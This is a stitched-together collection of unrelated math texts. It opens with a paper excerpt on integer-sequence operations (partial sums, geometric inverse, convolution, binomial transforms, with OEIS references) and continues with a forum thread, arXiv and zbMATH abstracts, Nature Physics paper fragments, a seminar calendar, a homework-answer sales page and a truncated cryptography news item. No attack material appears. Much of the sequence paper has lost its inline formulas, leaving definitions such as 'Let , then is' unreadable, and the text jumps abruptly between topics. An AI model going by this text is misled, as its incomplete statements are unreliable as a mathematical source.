Product of two sets. Let , then is the sequence of all possible products of the elements from the sequence and the sequence . If is the natural number sequence and is any sequence containing 1, then is the sequence of natural numbers. Hence, the product of the natural number sequence with itself is the natural number sequence. Also, the product of the natural number sequence with the Fibonacci sequence is the natural number sequence. It is easy to see that the product of the natural number sequence and the prime number sequence is the sequence of natural numbers starting from 2. Here are the leftover examples:
• If and are the prime numbers, then the sequence of all possible products is:
4, 6, 9, 10, 14, 15, 21, 22, 25, 26, 33, 34, 35,
A001358: Products of two primes.
• If and are the Fibonacci numbers, then the sequence of all possible products is:
1, 2, 3, 4, 5, 6, 8, 9, 10, 13, 15, 16, 21, 24,
A049997: a(n) = n-th number of the form F(i)*F(j), when these Fibonacci-products are arranged in order without duplicates.
• If are the prime numbers and are the Fibonacci numbers, then the sequence of all possible products is:
2, 3, 4, 5, 6, 7, 9, 10, 11, 13, 14, 15, 16, 17, 19,
Almost A131511: All possible products of prime and Fibonacci numbers.
Discussion. And again, I find all possible products of primes to be the most interesting sequence of the three above. These numbers even have a name for themselves — they are called semiprimes.
## 9 Discrete Calculus
Given a sequence , the analog of the integral is the sequence , which equals the sum of the first terms of . This sequence is usually called the partial sums sequence. Similarly, the analog of the derivative is the first difference sequence: .
Note. The first term of the difference sequence is not well defined. One of the options is to start the difference sequence from the second term. I do not like this option because I want all of my sequences indexed in the same way. Another option is to assume that there is a 0 before the first term of , thus artificially defining the difference for the first index. I will use this second definition.
The integral and the derivative are complementary to each other. The partial sums and the first difference operations are complementary to each other in the same way. That is: . Note. This exact equality is another good reason to prefer the second alternative for defining the initial term for the first difference sequence. With the first definition the equality holds up to a constant.
Partial sums:
• If are the natural numbers, then is:
1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 66, 78, 91, 105,
A000217: Triangular numbers: a(n) = C(n+1,2) = n(n+1)/2 = 0+1+2+…+n.
• If are the prime numbers, then is:
2, 5, 10, 17, 28, 41, 58, 77, 100, 129, 160, 197, 238,
A007504: Sum of first n primes.
• If are the Fibonacci numbers, then is:
1, 2, 4, 7, 12, 20, 33, 54, 88, 143, 232, 376, 609, 986, 1596,
Almost (shifted) A000071: Fibonacci numbers - 1.
First difference:
• If are the natural numbers, then is:
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
A000012: The simplest sequence of positive numbers: the all 1’s sequence.
• If are the prime numbers, then is:
2, 1, 2, 2, 4, 2, 4, 2, 4, 6, 2, 6, 4, 2, 4, 6, 6,
Almost A001223: Differences between consecutive primes.
• If are the Fibonacci numbers, then is:
1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377,
Almost (shifted) A000045: Fibonacci numbers.
Discussion. The sequence of natural numbers is similar to a polynomial of order one. It is not surprising that the partial sums operation, which is similar to the integral, produces a sequence corresponding to a polynomial of order two. In the same way, the first derivative of the natural number sequence is a constant sequence (similar to polynomials of order 0). Also, you may notice that the partial sums as well as the first difference of the Fibonacci sequence produce the Fibonacci sequence again. That is, the Fibonacci sequence behaves with respect to the partial sums and the first derivative operations the same way as the exponential function behaves with respect to the integral and the derivative. This fact is not surprising if you remember that the Fibonacci sequence grows similarly to the exponent of the golden ratio.
An additional natural idea is to replace the addition in the partial sums by multiplication, thus getting partial products. Note. To get the multiplicative analog of the first difference we need to replace the subtraction operation by division. Since the integers are not a closed set under division, I will only supply examples for the partial products.
Partial products:
• If are the natural numbers, then the partial products sequence is:
1, 2, 6, 24, 120, 720, 5040, 40320, 362880, 3628800, 39916800,
A000142: Factorial numbers.
• If are the prime numbers, then the partial products sequence is:
2, 6, 30, 210, 2310, 30030, 510510, 9699690, 223092870, 6469693230,
A002110: Primorial numbers.
• If are the Fibonacci numbers, then the partial products sequence is:
1, 1, 2, 6, 30, 240, 3120, 65520, 2227680, 122522400, 10904493600,
A003266: Product of first n nonzero Fibonacci numbers F(1), …, F(n).
Discussion. The prime number sequence is related to multiplicative properties of numbers, while the Fibonacci sequence is not. This is why I find the primorial sequence much more interesting then the partial products of the Fibonacci numbers. Clearly, I am not the only one who finds this sequence more interesting, as it has its own name.
## 10 Geometric Inverse Sequence
Suppose is a positive non-decreasing sequence. Let’s draw a function graph on the plane corresponding to the sequence . This graph consists of points . For consistency I would like to add a point to the graph, which is the same as to assume that the sequence starts with index 0 and . I would like to connect these points into a piecewise linear figure looking like steps from to infinity. First, I add horizontal segments connecting the points and for . Then, I add vertical segments connecting the points and for . If we symmetrically flip this drawing with respect to the angle bisector , we will get another drawing that looks like steps going from to infinity. What is the corresponding sequence? Let us denote this new sequence as . I call this sequence the geometrical inverse of . It is easy to see that is the maximum such that ; or equivalently, the number of elements in the sequence that are less than . Obviously, . On the picture below you can see the geometric inverse procedure applied to the prime number sequence:
Note. The number of elements in the sequence that are less than or equal to is . That means that equals defined in previous chapters for an increasing sequence . Geometric inverse definition is more general than the left inverse, as it is well defined for any non-decreasing sequence. In particular, it is well defined for the Fibonacci sequence.
Geometric inverse:
• If are the natural numbers, then :
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
A023443: n-1.
• If are the prime numbers, then is:
0, 0, 1, 2, 2, 3, 3, 4, 4, 4, 4, 5, 5, 6, 6, 6, 6, 7, 7,
Almost A000720: pi(n), the number of primes n.
• If are the Fibonacci numbers, then is:
0, 2, 3, 4, 4, 5, 5, 5, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7,
A130233: Maximal index k of a Fibonacci number such that Fib(k)n (the ’lower’ Fibonacci Inverse).
Discussion. As previously mentioned, the geometric inverse of the natural numbers and the prime numbers is the same as the compositional minimal left inverse shifted to the right. For the Fibonacci sequence the compositional left inverse cannot be defined. But we presented the compositional left inverse sequences of the trimmed Fibonacci sequence starting from the second 1. It is interesting to compare the compositional left inverse sequences for the trimmed Fibonacci sequence with the geometrical inverse of the Fibonacci sequence. This comparison is left as an exercise for the reader.
The first difference of the geometric inverse shifted to the left is the indicator sequence (also called the characteristic function). Given a sequence , the indicator sequence equals the number of times the sequence is equal to . Note. For the indicator sequence, we can remove the condition for to be non-decreasing. The necessary condition for defining the indicator function is that each value of is achieved a finite number of times.
Indicator:
• If are the natural numbers, then :
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
A000012: The simplest sequence of positive numbers: the all 1’s sequence.
• If are the prime numbers, then is:
0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0,
A010051: Characteristic function of primes: 1 if n is prime else 0.
• If are the Fibonacci numbers, then is:
2, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1,
A104162: Indicator sequence for the Fibonacci numbers.
Discussion. You can easily prove that non-decreasing sequences are in one-to-one correspondence with their indicators. If the sequence is strictly increasing then its indicator takes only 0 and 1 values.
The operation of calculating the indicator function can be naturally reversed. Here are the reverse steps: given a sequence , shift it to the right, take partial sums, and then take the geometric inverse. I call the result the reverse indicator sequence. The reverse indicator sequence of can be described as: Take number of times.
Reverse indicator:
• If are the natural numbers, then the reverse indicator is:
1, 2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6,
A002024: n appears n times.
• If are the prime numbers, then the reverse indicator is:
1, 1, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 5,
A083375: n appears prime(n) times.
• If are the Fibonacci numbers, then the reverse indicator is:
1, 2, 3, 3, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6,
A072649: n occurs A000045(n) times.
Discussion. I would like to draw your attention to the fact that the reverse indicator of the Fibonacci sequence is the same sequence as the maximal left inverse of the trimmed Fibonacci sequence. I leave it to the reader to analyze why these sequences are the same.
## 11 Convolution of Two Sequences
Given sequences and for starting with 0, their convolution is a sequence defined as: , , , , , .
For example, if is 1, 0, 0, 0, — the characteristic function of 0, then the convolution of and is . That is, the characteristic function of 0 plays the role of the identity. For another example, if is 1, 1, 1, 1, — the all ones sequence, then the convolution of and is the partial sums of sequence. In particular, the convolution of the all ones sequence with itself is the sequence of natural numbers shifted to the left.
Our basic sequences start with the index 1. It is easy to shift the definition of convolution to adjust to such sequences (see Kimberling [5]). Given the sequences and for starting with 1, the shifted convolution of them is a sequence defined as: , , , , , . In this case the role of the identity is played by the sequence 1, 0, 0, 0, — the characteristic function of 1.
The convolution and the shifted convolution are very similar to each other. Suppose and are two sequences starting with the index 1. Suppose and are the same sequences with 0 appended in front. Then the convolution of and is the shifted convolution of and with two zeroes appended in front. Later I use the shifted convolution as the convolution, because our indices start at 1.
It is easy to prove that the shifted convolution of with the natural numbers is the same as the partial sums operator applied to the sequence twice.
Self-convolution. Here is the shifted convolution of a basic sequence with itself:
• If are the natural numbers, then the self-convolution of is:
1, 4, 10, 20, 35, 56, 84, 120, 165, 220, 286, 364, 455,
A000292: Tetrahedral (or pyramidal) numbers.
• If are the prime numbers, then the self-convolution of is:
4, 12, 29, 58, 111, 188, 305, 462, 679, 968, 1337, 1806,
A014342: Convolution of primes with themselves.
• If are the Fibonacci numbers, then the self-convolution of is:
1, 2, 5, 10, 20, 38, 71, 130, 235, 420, 744, 1308, 2285, 3970,
A001629: Fibonacci numbers convolved with themselves.
Discussion. In the OEIS database there are three natural parameters that correlate with how interesting a sequence is:
• The sequence number. Usually the more famous sequences are submitted earlier and get smaller numbers.
• The number of references. On each sequence page you can find a number in a corner in a small font that shows the number of other sequences referencing the given sequence. Bigger numbers usually correspond to more famous sequences.
• The size of the entry. Big entries reflect many comments and many links, and indicate an interesting sequence.
For the three sequences above, all three parameters agree. Thus, the most interesting sequence out of the three is the sequence of tetrahedral numbers and the least interesting is the convolution of primes with themselves.
Convolution. The convolution is a symmetrical operation. Here are the convolution examples for pairs of our initial sequences:
• If are the natural numbers and are the prime numbers, then their convolution is:
2, 7, 17, 34, 62, 103, 161, 238, 338, 467, 627, 824, 1062,
A014148: Apply partial sum operator twice to sequence of primes.
• If are the natural numbers and are the Fibonacci numbers, then their convolution is:
1, 3, 7, 14, 26, 46, 79, 133, 221, 364, 596, 972, 1581, 2567,
A001924: Apply partial sum operator twice to Fibonacci numbers.
• If are the prime numbers and are the Fibonacci numbers, then their convolution is:
2, 5, 12, 24, 47, 84, 148, 251, 422, 702, 1155, 1894, 3090,
A023615: Convolution of Fibonacci numbers and primes.
Discussion. I have mentioned that the Fibonacci sequence barely changes with respect to the partial sums operator. If we denote the n-th Fibonacci number by , then the n-th partial sum is . Applying the partial sums operator again we get a sequence whose n-th element is . This property is one of the reasons, why out of the three sequences above, I find the sequence A001924 the most interesting.
Convolutional inverse. As I mentioned before, the sequence 1, 0, 0, 0, plays the role of the identity. Naturally we would wish to define the convolutional inverse. It is easy to see that the convolutional inverse for a sequence can be defined iff :
• If are the natural numbers, then the convolutional inverse of is:
1, -2, 1, 0, 0, 0, 0, 0, 0, 0, 0,
Up to signs A130713: a(0)=a(2)=1, a(1)=2, a(n)=0 for n¿2.
• If are the prime numbers, then the convolutional inverse of is not defined in integer sequences, but if we append primes with 1 in front, then the convolution inverse is:
1, -2, 1, -1, 2, -3, 7, -10, 13, -21, 26, -33, 53, -80, 127,
A030018: Coefficients in 1/P(x), where P(x) is the generating function of the primes.
• If are the Fibonacci numbers, then the convolutional inverse of is:
1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0,
Up to signs A130716: a(0)=a(1)=a(2)=1, a(n)=0 for n¿2.
Discussion. The beauty of the convolution operator can be seen if we look at the generating functions of sequences. The generating function of the convolution of two sequences is the product of the generating functions of these sequences. In particular, the generating function of the convolutional inverse is the reverse of the generating function of the sequence itself. We see that the generating functions of the convolutional inverses of natural numbers and Fibonacci numbers are both polynomials of order 2. Hence, the generating functions of the natural numbers and the Fibonacci numbers are both the reverses of second order polynomials. This means that they are both linear recurrences of order 2. We know that fact already, but it is nice when things come together in a different way.
## 12 Binomial Transform
There is some confusion on the web about what is called a binomial transform. There are three different definitions very close to each other.
Here is my first definition of a binomial transform. Given a sequence that starts with , the binomial transform is defined as: , , , , , , ; where are the binomial coefficients. This definition seems to be the most natural out of the three. This is why it is my first choice (it is also the first choice in Barry [6]).
Binomial transform. (Note that we need to add the term to our initial sequences):
• If are the natural numbers (with 0 appended in front), then the binomial transform of is:
0, 1, 4, 12, 32, 80, 192, 448, 1024, 2304, 5120, 11264,
A001787: n*2(̂n-1).
• If are the prime numbers (with 1 appended in front), then the binomial transform of is:
1, 3, 8, 21, 54, 137, 342, 837, 2006, 4713, 10882, 24771,
A030015: Binomial transform of 1, primes.
• If are the Fibonacci numbers (with 0 appended in front), then the binomial transform of is:
0, 1, 3, 8, 21, 55, 144, 377, 987, 2584, 6765, 17711, 46368,
A001906: F(2n) = bisection of Fibonacci sequence: a(n)=3a(n-1)-a(n-2).
The reverse operation to the binomial transform is called the inverse binomial transform. Given a sequence that starts with , the inverse binomial transform is defined as: , , , , , , ; where are the binomial coefficients. Note. The inverse binomial transform is called the binomial transform at Math World [3].
Inverse binomial transform. (Note that we need to add the term to our initial sequences):
• If are the natural numbers (with 0 appended in front), then the inverse binomial transform of is:
0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
A063524: Characteristic function of 1.
• If are the prime numbers (with 1 appended in front), then the inverse binomial transform of is:
1, 1, 0, 1, -2, 5, -14, 37, -90, 205, -442, 899, -1700, 2913,
A030016: Inverse binomial transform of 1, primes.
• If are the Fibonacci numbers (with 0 appended in front), then the inverse binomial transform of is:
0, 1, -1, 2, -3, 5, -8, 13, -21, 34, -55, 89, -144, 233, -377,
A039834: a(n+2)=-a(n+1)+a(n) (signed numbers); or Fibonacci numbers (A000045) extended to negative indices.
Here is the third definition of the binomial transform. Given a sequence that starts with , the binomial transform is defined as: , , , , , , ; where are the binomial coefficients. This binomial transform differs only by signs from the inverse binomial transform. That is, the n-th element of the binomial transform by this definition is equal times the n-th element of the inverse binomial transform. The beauty of this third definition is that this transform is self-inverse. Note. This binomial transform is called the binomial transform at wiki [4].
Binomial transform III. (Note that we need to add term to our initial sequences):
• If are the natural numbers (with 0 appended in front), then the third binomial transform of is:
0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
• If are the prime numbers (with 1 appended in front), then the third binomial transform of is:
1, -1, 0, -1, -2, -5, -14, -37, -90, -205, -442, -899, -1700,
• If are the Fibonacci numbers (with 0 appended in front), then the third binomial transform of is:
0, -1, -1, -2, -3, -5, -8, -13, -21, -34, -55, -89, -144, -233,
## 13 Examples: Combining Different Methods
Here I present some examples of combining different methods. For my examples I have chosen two sequences:
• Twin primes — a very famous sequence
• is the number of n-digit powers of 2 — not so famous a sequence, but my last OEIS submission before starting this paper.
First example. There are many ways to get to the twin primes from the prime number sequence. As a first step we will get to the sequence of the lesser of the twin primes:
• Starting with the prime numbers, take its first difference following the first definition:
1, 2, 2, 4, 2, 4, 2, 4, 6, 2, 6, 4, 2, 4, 6, 6,
A001223: Differences between consecutive primes.
• Apply the function to every element. This is the same as taking the composition with the sequence of all zeroes except 1 in the second place:
0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0,
A100821: a(n) = 1 if prime(n) + 2 = prime(n+1), otherwise 0.
• Apply the reverse indicator:
2, 3, 5, 7, 10, 13, 17, 20, 26, 28, 33, 35, 41, 43,
A029707: Numbers n such that the n-th and the (n+1)-st primes are twin primes.
• Make the composition of this sequence with the prime numbers. That is, take prime numbers with the indices in the sequence above:
3, 5, 11, 17, 29, 41, 59, 71, 101, 107, 137, 149, 179,
A001359: Lesser of twin primes.
Here is another way, suggested by Alexey Radul, to get to the lesser of the twin primes sequence:
• Starting with the prime numbers, subtract 2 from every element:
0, 1, 3, 5, 9, 11, 15, 17, 21, 27, 29, 35, 39, 41, 45, 51,
A040976: n-th prime - 2.
• Intersect this sequence with the prime numbers:
3, 5, 11, 17, 29, 41, 59, 71, 101, 107, 137, 149, 179,
A001359: Lesser of twin primes.
Now, from the lesser of the twin primes sequence we want to get to all the twin primes. There are many ways to do this as well. For example:
• Starting with the lesser of the twin primes sequence, add 2 to every element:
5, 7, 13, 19, 31, 43, 61, 73, 103, 109, 139, 151, 181, 193,
A006512: Greater of twin primes.
• Take the union of the lesser of the twin primes with the greater of the twin primes:
3, 5, 7, 11, 13, 17, 19, 29, 31, 41, 43, 59, 61, 71, 73, 101,
A001097: Twin primes.
Second example. In the second example, the final sequence is the number of n-digit powers of 2. Starting with the natural numbers, perform the following steps:
• Take the first difference:
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
A000012: The simplest sequence of positive numbers: the all 1’s sequence.
• Apply the binomial transform to it:
1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096,
A000079: Powers of 2: a(n) = 2n̂.
• Continue applying the binomial transform to the previous sequence 8 times:
1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000,
A011557: Powers of 10.
• Take the minimal left inverse from the powers of 2 sequence:
0, 1, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5,
A029837: Binary order of n: log_2(n) rounded up to next integer.
• Take the composition of the previous sequence with the powers of 10:
0, 4, 7, 10, 14, 17, 20, 24, 27, 30, 34, 37, 40, 44, 47,
A067497: Smallest power of 2 with n+1 digits (n0). Also n such that 1 is the first digit of 2n̂.
• Take the first difference:
4, 3, 3, 4, 3, 3, 4, 3, 3, 4, 3, 3, 4, 3, 3, 4, 3, 3, 4, 3, 3,
A129344: a(n) is the number of n-digit powers of 2.
## 14 Generating any Sequence
It is easy to generate any sequence from any other sequence by using the methods described in this paper. Suppose we want to generate a sequence from the natural numbers. For my first example, consider the function corresponding to the sequence : . Then we can get the sequence by applying the function to the natural numbers.
For my second example let us apply the delta-function to the natural numbers to get the sequence 1, 0, 0, . By shifting this sequence times to the right and multiplying it by we can get the sequence which has only one non-zero term and this term is at the index . Then by summing all the resulting sequences for different we get .
My second example requires an infinite number of steps. My first example requires an arbitrary function. The complexity of generating an arbitrary function is in some sense equivalent to performing an infinite number of steps. It might be interesting to get from one sequence to another in a finite number of operations without using “applying a function” procedure. Here is one way to get from the natural numbers to the Fibonacci sequence:
• Starting with the natural numbers take the convolutional inverse:
1, -2, 1, 0, 0, 0, 0, 0, 0, 0, 0,
• Take the partial sums of the above sequence:
1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
• Take the partial sums again:
1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
• Multiply the last sequence by -1 and shift two places to the right:
0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
• Sum the last sequence with the sequence 1, -1, 0, 0, in the second step:
1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
• Take the convolutional inverse of the last sequence:
1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89,
## 15 Acknowledgements
I am thankful to Alexey Radul for criticizing my English and my writing style the first ten drafts of this paper. Alexey’s help not only improved this paper tremendously, it also changed my feelings about writing in English in general. I hope it will be easier next time. I am also thankful to Jane Sherwin for checking my English in the final draft.
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# Math Help - Rewriting expression
1. ## Rewriting expression
I'm really doing a physics problem, and I got to an expression that looks more complicated than I would like. Is there a way to make this fraction look more elegant?
(4bc - ac - ab) / (4bc + ac + ab)
The only thing I tried was to factorize out an "a" above and below, but that didn't really get me anywere. Perhaps it can't be simplyfied, but I thought it wouldn't hurt to post it here anyway.
2. ## Re: Rewriting expression
Originally Posted by gralla55
I'm really doing a physics problem, and I got to an expression that looks more complicated than I would like. Is there a way to make this fraction look more elegant?
(4bc - ac - ab) / (4bc + ac + ab)
The only thing I tried was to factorize out an "a" above and below, but that didn't really get me anywere. Perhaps it can't be simplyfied, but I thought it wouldn't hurt to post it here anyway.
Not sure if this is of any use for you:
$\frac{4bc-ac-ab}{4bc+ac+ab}=1-\frac{2a(c+b)}{4bc+ac+ab}$
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3 years ago
# Stable and unstable vortex knots in a trapped Bose-Einstein condensate.
Victor P. Ruban
The dynamics of a quantum vortex torus knot ${\cal T}_{P,Q}$ and similar knots in an atomic Bose-Einstein condensate at zero temperature in the Thomas-Fermi regime has been considered in the hydrodynamic approximation. The condensate has a spatially nonuniform equilibrium density profile $\rho(z,r)$ due to an external axisymmetric potential. It is assumed that $z_*=0$, $r_*=1$ is a maximum point for function $r\rho(z,r)$, with $\delta (r\rho)\approx-(\alpha-\epsilon) z^2/2 -(\alpha+\epsilon) (\delta r)^2/2$ at small $z$ and $\delta r$. Configuration of knot in the cylindrical coordinates is specified by a complex $2\pi P$-periodic function $A(\varphi,t)=Z(\varphi,t)+i [R(\varphi,t)-1]$. In the case $|A|\ll 1$ the system is described by relatively simple approximate equations for re-scaled functions $W_n(\varphi)\propto A(2\pi n+\varphi)$, where $n=0,\dots,P-1$, and $iW_{n,t}=-(W_{n,\varphi\varphi}+\alpha W_n -\epsilon W_n^*)/2-\sum_{j\neq n}1/(W_n^*-W_j^*)$. At $\epsilon=0$, numerical examples of stable solutions as $W_n=\theta_n(\varphi-\gamma t)\exp(-i\omega t)$ with non-trivial topology have been found for $P=3$. Besides that, dynamics of various non-stationary knots with $P=3$ was simulated, and in some cases a tendency towards a finite-time singularity has been detected. For $P=2$ at small $\epsilon\neq 0$, rotating around $z$ axis configurations of the form $(W_0-W_1)\approx B_0\exp(i\zeta)+\epsilon C(B_0,\alpha)\exp(-i\zeta) + \epsilon D(B_0,\alpha)\exp(3i\zeta)$ have been investigated, where $B_0>0$ is an arbitrary constant, $\zeta=k_0\varphi -\Omega_0 t+\zeta_0$, $k_0=Q/2$, $\Omega_0=(k_0^2-\alpha)/2-2/B_0^2$. In the parameter space $(\alpha, B_0)$, wide stability regions for such solutions have been found. In unstable bands, a recurrence of the vortex knot to a weakly excited state has been noted to be possible.
Publisher URL: http://arxiv.org/abs/1711.00280
DOI: arXiv:1711.00280v1
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# zbMATH — the first resource for mathematics
Typical dynamics of volume preserving homeomorphisms. (English) Zbl 0970.37001
Cambridge Tracts in Mathematics. 139. Cambridge: Cambridge University Press. xix, 216 p. (2000).
The two authors of this monograph have, over the last twenty five years, contributed a vast amount generalizing the classical results of John Oxtoby and Stan Ulam on the typical behaviour of manifold homeomorphisms which preserve a fixed measure. This monograph puts these results, and others, into a logical framework.
More precisely, the book starts by looking at the case where the compact manifold is simply the unit $$n$$-dimensional cube, endowed with Lebesgue measure. Then they show how the results for the cube can be extended to arbitrary compact manifolds. The authors then go on to establish which results can be extended to non-compact manifolds where the measure may be infinite.
The book is comprehensively written in the sense that very little prior knowledge of ergodic theory or measure theory is required to follow the text.
##### MSC:
37-02 Research exposition (monographs, survey articles) pertaining to dynamical systems and ergodic theory 37E30 Dynamical systems involving homeomorphisms and diffeomorphisms of planes and surfaces 37A05 Dynamical aspects of measure-preserving transformations
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# Restrictions on realizable unitary operations imposed by symmetry and locality
## Abstract
According to a fundamental result in quantum computing, any unitary transformation on a composite system can be generated using so-called 2-local unitaries that act only on two subsystems. Beyond its importance in quantum computing, this result can also be regarded as a statement about the dynamics of systems with local Hamiltonians: although locality puts various constraints on the short-term dynamics, it does not restrict the possible unitary evolutions that a composite system with a general local Hamiltonian can experience after a sufficiently long time. Here we show that this universality does not remain valid in the presence of conservation laws and global continuous symmetries such as U(1) and SU(2). In particular, we show that generic symmetric unitaries cannot be implemented, even approximately, using local symmetric unitaries. Based on this no-go theorem, we propose a method for experimentally probing the locality of interactions in nature. In the context of quantum thermodynamics, our results mean that generic energy-conserving unitary transformations on a composite system cannot be realized solely by combining local energy-conserving unitaries on the components. We show how this can be circumvented via catalysis.
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32. Zanardi, P. & Rasetti, M. Noiseless quantum codes. Phys. Rev. Lett. 79, 3306 (1997).
33. Molmer, K. & Sorensen, A. Multiparticle entanglement of hot trapped ions. Phys. Rev. Lett. 82, 1835 (1999).
34. Lloyd, S., Mohseni, M. & Rebentrost, P. Quantum principal component analysis. Nat. Phys. 10, 631 (2014).
35. Marvian, I. & Lloyd, S. Universal quantum emulator. Preprint at https://arxiv.org/abs/1606.02734 (2016).
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38. Popescu, S., Sainz, A. B., Short, A. J. & Winter, A. Quantum reference frames and their applications to thermodynamics. Phil. Trans. R. Soc. A 376, 20180111 (2018).
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## Acknowledgements
I thank A. Hulse, D. Jennings, H. Liu, H. Salmasian and N. Yunger-Halpern for reading the manuscript carefully and providing many useful comments. This work was supported by NSF FET-1910571, NSF Phy-2046195 and Army Research Office (W911NF-21-1-0005).
## Author information
Authors
### Contributions
I.M. was the sole contributor to all aspects of this work.
### Corresponding author
Correspondence to Iman Marvian.
## Ethics declarations
### Competing interests
The author declares no competing interest.
## Peer review information
Nature Physics thanks Álvaro Alhambra and the other, anonymous, reviewer(s) for their contribution to the peer review of this work
Publisher’s note Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.
## Supplementary information
### Supplementary Information
Supplementary Notes 1–7
## Rights and permissions
Reprints and Permissions
Marvian, I. Restrictions on realizable unitary operations imposed by symmetry and locality. Nat. Phys. 18, 283–289 (2022). https://doi.org/10.1038/s41567-021-01464-0
• Accepted:
• Published:
• Issue Date:
• DOI: https://doi.org/10.1038/s41567-021-01464-0
• ### Forbidden by symmetry
• Álvaro M. Alhambra
Nature Physics (2022)
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Department of
Mathematics
Seminar Calendar
for events the day of Friday, September 29, 2017.
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events for the
events containing
Questions regarding events or the calendar should be directed to Tori Corkery.
August 2017 September 2017 October 2017
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Friday, September 29, 2017
12:00 pm in 243 Altgeld Hall,Friday, September 29, 2017
Unrectifiability Via Projections
Fernando Roman Garcia (UIUC)
Abstract: In the study of analysis on metric spaces, rectifiable sets are the appropriate analogue of smooth manifolds. Due to a celebrated theorem of Rademacher, we know rectifiable sets have a "sort of" almost-everywhere-differentiable structure with respect to which one can define approximate tangent planes and do calculus at almost every point. Classifying rectifiable or, on the other end of the spectrum, purely unrectifiable sets is not an easy task. In this talk we will see a certain classification of purely unrectifiable sets via orthogonal projections, will see how Fourier analysis plays a key role in this subject and will talk about how (if at all) similar classification can be apply to more general metric spaces, specifically the Heisenberg Group. Note: This talk will be expository, introductory and for the most part self-contained. No knowledge beyond a basic understanding of metric spaces and measure theory will be needed to follow along.
3:00 pm in 341 Altgeld Hall,Friday, September 29, 2017
Bott-Samelson varieties and combinatorics
Laura Escobar (UIUC)
Abstract: Schubert varieties parametrize families of linear spaces intersecting certain hyperplanes in C^n in a predetermined way. In the 1970’s Hansen and Demazure independently constructed resolutions of singularities for Schubert varieties: the Bott-Samelson varieties. In this talk I will describe their relation with associahedra. I will also discuss joint work with Pechenick-Tenner-Yong linking Magyar’s construction of these varieties as configuration spaces with Elnitsky’s rhombic tilings. Finally, based on joint work with Wyser-Yong, I will give a parallel for the Barbasch-Evens desingularizations of certain families of linear spaces which are constructed using symmetric subgroups of the general linear group.
4:00 pm in 345 Altgeld Hall,Friday, September 29, 2017
"Borel circle squaring" by Marks and Unger: Part 3
Anush Tserunyan (Illinois Math)
Abstract: In the previous talk of this series, we built a real valued Borel flow by taking the average of the "relative" matchings over each connected component. In the current talk, I'll describe how to obtain an integer valued Borel flow out of a real valued one, which is the main difficulty of the whole proof.
4:00 pm in 241 Altgeld Hall,Friday, September 29, 2017
Framed cobordisms in algebraic topology
Pedro Mendes De Araujo (UIUC)
Abstract: The Thom-Pontryagin construction was the first machinery developed to compute homotopy groups of spheres, in terms of framed cobordism classes of manifolds embedded in Euclidean space. Although much less successful at that than the algebraic machinery developed later, it has the advantage of being highly geometric and intuitive. In this talk, which will hopefully be fun, full of pictures, and requiring little more than an acquaintance with manifolds (and a high tolerance to geometric hand waving), we'll look at how it can be used to compute pi_{n+1} S^n. On the way, we'll give a very explicit proof of the Freudenthal suspension theorem.
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# ECE 430 Week 1 DQ 1
This pack of ECE 430 Week 1 DQ 1 comprises:Throughout this course you will have the opportunity to read a Case Study about Mrs. Ashland, her students, and Park Lane Early Childhood Center. This week you will be introduced to Mrs. Ashland and her classroom at Park Lane Early Childhood Center. You will need to read Week 1, Case Study: Classroom Environment before beginning this discussion. Think about the model of teaching that you would like to implement in your classroom. Analyze Mrs. Ashlands classroom through the lens of the model of teaching that you plan on implementing. Make sure to include the following points in your analysis:a. Your chosen model of teachingb. How your chosen model of teaching aligns with Mrs. Ashlands classroomc. How your chosen model of teaching and Mrs. Ashlands classroom might not align d. What modifications you would need to make to Mrs. Ashlands classroom in order to ensure that your chosen model of teaching could be successfully implementede. How the textbook supports your analysisGuided Response: Read your classmates posts and respond to at least two of them. When responding to your classmates, evaluate whether or not you believe they would be able to successfully implement their model of teaching in Mrs. Ashlands classroom based on the modifications they suggested. Justify your thoughts with at least two scholarly resources. Please remember to be respectful.
• JewelBrood
1 orders completed
$5.99 ANSWER Tutor has posted answer for$5.99. See answer's preview
*** 430 **** 1 ** *
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# Eta BEta
Calculus Level 3
Let $$f(x) =k\cos x$$. If the sum of coefficients of $$\cos x$$ in the expansion of $$\left(1+f(x)\right)^n$$ is $$\eta$$ and the sum of coefficients of $$\sin x$$ in the expansion of $$\left(1+\dfrac {df(x)}{dx}\right)^n$$ is $$\beta$$, find
$\large \lim_{n\to\infty} \frac{|\eta\beta|}{\left(|\eta\beta|^{1/n}+1\right)^n}.$
×
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International Association for Cryptologic Research
# IACR News Central
Get an update on changes of the IACR web-page here. For questions, contact newsletter (at) iacr.org. You can also receive updates via:
You can also access the full news archive.
Further sources to find out about changes are CryptoDB, ePrint RSS, ePrint Web, Event calender (iCal).
2014-10-22
21:17 [Pub][ePrint]
Side channel attacks -- attacks that exploit implementation-dependent information of a cryptosystem -- have been shown to be highly detrimental, and the cryptographic community has recently
